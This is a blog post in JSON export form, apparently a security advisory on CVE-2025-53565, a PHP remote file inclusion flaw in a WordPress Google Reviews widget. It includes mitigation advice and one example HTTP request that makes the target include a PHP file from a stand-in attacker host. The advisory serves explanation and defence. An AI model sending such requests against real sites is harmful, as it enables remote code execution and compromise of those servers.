{"id":71733,"date":"2025-09-06T08:00:19","date_gmt":"2025-09-06T08:00:19","guid":{"rendered":""},"modified":"2025-09-10T11:37:39","modified_gmt":"2025-09-10T17:37:39","slug":"cve-2025-53565-php-remote-file-inclusion-vulnerability-in-radiustheme-widget-for-google-reviews","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53565-php-remote-file-inclusion-vulnerability-in-radiustheme-widget-for-google-reviews\/","title":{"rendered":"<strong>CVE-2025-53565: PHP Remote File Inclusion Vulnerability in RadiusTheme Widget for Google Reviews<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>Today, we&#8217;re diving into the details of a significant security flaw, CVE-2025-53565, a PHP Remote File Inclusion vulnerability found in the RadiusTheme Widget for Google Reviews. This vulnerability affects all versions up to and including 1.0.15 and poses a significant threat to the security of any websites using this widget. This technical flaw allows an attacker to include remote PHP files, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42957-critical-backdoor-vulnerability-in-sap-s-4hana-exposes-systems-to-potential-compromise\/\"  data-wpil-monitor-id=\"79596\">potentially leading to system<\/a> compromise or data leakage. Therefore, understanding this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30949-critical-deserialization-vulnerability-in-guru-team-site-chat-on-telegram\/\"  data-wpil-monitor-id=\"79306\">vulnerability and how to mitigate its impact is critical<\/a> for system administrators and web developers alike.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53565<br \/>\nSeverity: High (8.1 CVSS v3 Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53763-improper-access-control-in-azure-databricks-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79813\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3478859660\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>RadiusTheme <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7327-directory-traversal-vulnerability-in-widget-for-google-reviews-wordpress-plugin\/\"  data-wpil-monitor-id=\"91972\">Widget for Google<\/a> Reviews | n\/a through 1.0.15<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The PHP Remote File Inclusion <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52478-stored-cross-site-scripting-vulnerability-in-n8n-s-form-trigger-node\/\"  data-wpil-monitor-id=\"79422\">vulnerability is a common type of vulnerability that occurs when a PHP script<\/a> uses user-controlled data without proper validation in a &#8216;require&#8217; or &#8216;include&#8217; function. This can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80779\">allow an attacker to inject<\/a> a file from a remote server, which then gets executed in the context of the attacked application. In the case of CVE-2025-53565, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9132-high-risk-heap-corruption-vulnerability-in-google-chrome\/\"  data-wpil-monitor-id=\"80933\">vulnerability resides in the RadiusTheme Widget for Google<\/a> Reviews, which fails to properly validate the filename for the &#8216;include&#8217; statement.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2101510919\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8043-critical-url-truncation-vulnerability-in-firefox-and-thunderbird\/\"  data-wpil-monitor-id=\"79842\">vulnerability might be exploited using a malicious URL:<\/a><\/p>\n<pre><code class=\"\" data-line=\"\">GET \/vulnerable_widget.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker tricks the application into requesting a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions\/\"  data-wpil-monitor-id=\"81096\">PHP file<\/a> (&#8216;malicious_file.php&#8217;) from the attacker&#8217;s server (&#8216;attacker.com&#8217;). The server then includes this file in its response, which is subsequently executed by the PHP engine on the target server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47136-integer-underflow-vulnerability-in-indesign-desktop-versions-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79715\">potentially leading to system<\/a> compromise or data leakage.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To protect your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-41532-sql-injection-vulnerability-in-hospital-management-system-v4\/\"  data-wpil-monitor-id=\"79561\">systems from this vulnerability<\/a>, apply the vendor patch as soon as it becomes available. In the meantime, consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These can be configured to block or alert on any <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46414-unlimited-pin-attempts-vulnerability-in-api\/\"  data-wpil-monitor-id=\"81200\">attempts to exploit this vulnerability<\/a>. Also, always remember to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24325-improper-input-validation-in-intel-r-800-series-ethernet-driver-allows-potential-escalation-of-privilege\/\"  data-wpil-monitor-id=\"80471\">validate and sanitize all user inputs<\/a>, especially those used in file include statements, to prevent such vulnerabilities in the first place.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview Today, we&#8217;re diving into the details of a significant security flaw, CVE-2025-53565, a PHP Remote File Inclusion vulnerability found in the RadiusTheme Widget for Google Reviews. This vulnerability affects all versions up to and including 1.0.15 and poses a significant threat to the security of any websites using this widget. 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